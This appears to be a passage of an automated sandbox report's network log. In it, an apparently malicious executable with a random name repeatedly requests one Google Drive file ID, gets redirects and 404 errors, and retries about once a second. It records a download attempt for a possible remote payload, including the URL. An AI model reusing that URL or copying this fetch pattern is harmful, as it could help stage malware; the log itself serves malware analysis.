2025-01-10 14:39:36 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:36 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-jh9AcGyeAQQWRmT9vYc0Hw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	52213	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:36 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:37 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6ESL8IBcz6NFrGm2s2pPvteangT7aX8Xgg8YnHLKm3TYyFaCcA00icFnlS0dErSQsauGXYbJo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:37 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Bg-1oG4AlEhkaFS1cJdBFQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:37 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 71 57 4c 4f 6c 44 6e 32 58 4c 71 4b 39 53 59 70 46 48 4f 73 41 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="qWLOlDn2XLqK9SYpFHOsAg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	52214	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:38 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:38 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:38 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-DAA9hbvoYYVYzxLwq_k-HA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	52215	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:39 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:39 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6PgHZhhCKPNxdk4ClD9AhID3JFGwhxeUAxtV7mFi5rjTzbIAkuvZDjbUqNwFm3ca1Z Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:39 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-gHANx6DOk3FawaEJdlU1wg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:39 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 4b 6b 72 37 44 34 54 59 55 70 4a 35 66 59 70 6c 41 44 66 36 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lKkr7D4TYUpJ5fYplADf6Q">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	52217	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:40 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:40 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:40 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-uamMN-N2WmfIiS7w5YTQ7w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	52218	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:41 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:42 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgT1onx0nu54vQZxvHlZa-c5JGJbZmkyIJ7uSX93FbYGUarmBgRJeXKLbIVZ6PIexQqMMJIjtow Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:41 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-t2NhpWlHafpLxdxe91oQwA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:42 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 65 6c 54 5a 4f 63 38 6f 46 44 66 78 6c 63 7a 69 5a 42 58 42 74 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="elTZOc8oFDfxlcziZBXBtQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	52219	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:42 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:43 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:43 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-IGfBYNCdRgrMo9kffGC5XQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	52220	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:43 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:44 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4g6KdTmPccLuYOMM569hG1DZJe1bAm1m9iXCBxkn0C8tuc8z6ldQ9gvVohXu8XWciqsQ6iTrs Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:44 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-go566t6gLcqa_WBfPSl4AA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:44 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 53 64 66 58 53 7a 5f 73 7a 4e 48 34 44 6f 33 61 63 4c 50 41 69 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="SdfXSz_szNH4Do3acLPAig">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	52221	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:45 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
